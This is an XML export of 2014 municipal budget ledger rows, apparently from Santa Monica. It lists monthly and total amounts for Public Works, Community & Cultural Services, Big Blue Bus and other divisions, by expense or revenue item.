<row _id="12431"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>41194.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>41194.0</total></row>
<row _id="12432"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>3096.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3096.0</total></row>
<row _id="12433"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>522610.0</object><object_description>EQUIPMENT RENTAL</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>3190.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3190.0</total></row>
<row _id="12434"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>522900.0</object><object_description>MEMBERSHIPS AND DUES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>900.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>900.0</total></row>
<row _id="12435"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>523000.0</object><object_description>VEHICLE MGMT FUND-MAINTENANCE</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>161000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>161000.0</total></row>
<row _id="12436"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>407490.0</object><object_description>PLAN CHECK FEES-LANDSCAPE&amp;FORE</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-123600.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>123600</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="12437"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>313.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>41.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>354.0</total></row>
<row _id="12438"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>544150.0</object><object_description>TREES/SEEDS/PLANTS/FERTILIZER</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>22563.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>22563.0</total></row>
<row _id="12439"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>16210.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>750.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>16960.0</total></row>
<row _id="12440"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>1368.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>50.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1418.0</total></row>
<row _id="12441"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>497</division_id><division_name>BEACH HOUSE MAINTENANCE</division_name><object>511730.0</object><object_description>WORKERS' COMP INSURANCE</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>57189.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>57189.0</total></row>
<row _id="12442"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>497</division_id><division_name>BEACH HOUSE MAINTENANCE</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>13036.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>3541.67</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>16577.67</total></row>
<row _id="12443"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>497</division_id><division_name>BEACH HOUSE MAINTENANCE</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>74757.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>1142</december><january>13420.8</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>89319.8</total></row>
<row _id="12444"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>497</division_id><division_name>BEACH HOUSE MAINTENANCE</division_name><object>533210.0</object><object_description>BLDG OPER / CUST SUPPLIES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>82000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>82000.0</total></row>
<row _id="12445"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>1277.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1277.0</total></row>
<row _id="12446"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>671.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>671.0</total></row>
<row _id="12447"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object>561118.0</object><object_description>STEP UP ON 2ND SNCTURY-PROP A</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>2600.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2600.0</total></row>
<row _id="12448"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>1700.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1700.0</total></row>
<row _id="12449"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>499</division_id><division_name>BEACH MAINTENANCE</division_name><object>511500.0</object><object_description>TEMPORARY EMPLOYEES</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>73973.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>-30822.08</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>43150.92</total></row>
<row _id="12450"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>499</division_id><division_name>BEACH MAINTENANCE</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>11666.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>3750.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>15416.0</total></row>
<row _id="12451"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>499</division_id><division_name>BEACH MAINTENANCE</division_name><object>511774.0</object><object_description>RETIREMENT - AS NEEDED</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>3253.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3253.0</total></row>
<row _id="12452"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>499</division_id><division_name>BEACH MAINTENANCE</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>6318.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>90</december><january>1208.96</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>7616.96</total></row>
<row _id="12453"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>499</division_id><division_name>BEACH MAINTENANCE</division_name><object>522130.0</object><object_description>UTILITIES - WATER</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>114800.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>114800.0</total></row>
<row _id="12454"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>499</division_id><division_name>BEACH MAINTENANCE</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSE</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>1000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1000.0</total></row>
<row _id="12455"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>499</division_id><division_name>BEACH MAINTENANCE</division_name><object>522950.0</object><object_description>CNG FUEL</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>6150.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>6150.0</total></row>
<row _id="12456"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>499</division_id><division_name>BEACH MAINTENANCE</division_name><object>533030.0</object><object_description>PROPERTY INSURANCE</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>1860.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1860.0</total></row>
<row _id="12457"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>408000.0</object><object_description>INTERFUND SERVICES-PUBLIC LAND</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>-78409</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-78409.0</total></row>
<row _id="12458"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>86795.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>86795.0</total></row>
<row _id="12459"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>127316.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>127316.0</total></row>
<row _id="12460"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>511730.0</object><object_description>WORKERS' COMP INSURANCE</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>119240.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>119240.0</total></row>
<row _id="12461"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>41212.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>41212.0</total></row>
<row _id="12462"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>497636.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>497636.0</total></row>
<row _id="12463"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>248</division_id><division_name>COMMUNITY BROADBAND</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>1796.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>19</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1815.0</total></row>
<row _id="12464"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>54</fund_id><fund_name>Vehicle Management Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>459</division_id><division_name>FLEET MANAGEMENT</division_name><object>522990.0</object><object_description>STOCKROOM REPAIR PARTS &amp; MATER</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>615000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>615000.0</total></row>
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<row _id="12467"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>416</division_id><division_name>TRANS ENGINEERING &amp; MGMT</division_name><object>522210.0</object><object_description>UTILITIES - TELEPHONE</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>2798.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2798.0</total></row>
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<row _id="12472"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>544170.0</object><object_description>UNIFORM / PROTECTIVE CLOTHING</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>6600.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>6600.0</total></row>
<row _id="12473"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>533020.0</object><object_description>GENERAL LIABILITY / AUTO</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>39411.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>39411.0</total></row>
<row _id="12474"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>544180.0</object><object_description>SMALL TOOLS</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>7500.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>7500.0</total></row>
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<row _id="12476"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>5670.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>410</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>6080.0</total></row>
<row _id="12477"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>63585.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>63585.0</total></row>
<row _id="12478"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>15953.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>296.34</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>16249.34</total></row>
<row _id="12479"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>6983.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>6983.0</total></row>
<row _id="12480"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>37556.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>37556.0</total></row>
<row _id="12481"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>2193.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2193.0</total></row>
<row _id="12482"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>216.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>216.0</total></row>
<row _id="12483"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>511490.0</object><object_description>OVERTIME</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>1087.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1087.0</total></row>
<row _id="12484"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>550.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>550.0</total></row>
<row _id="12485"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>68813.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>16915</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>85728.0</total></row>
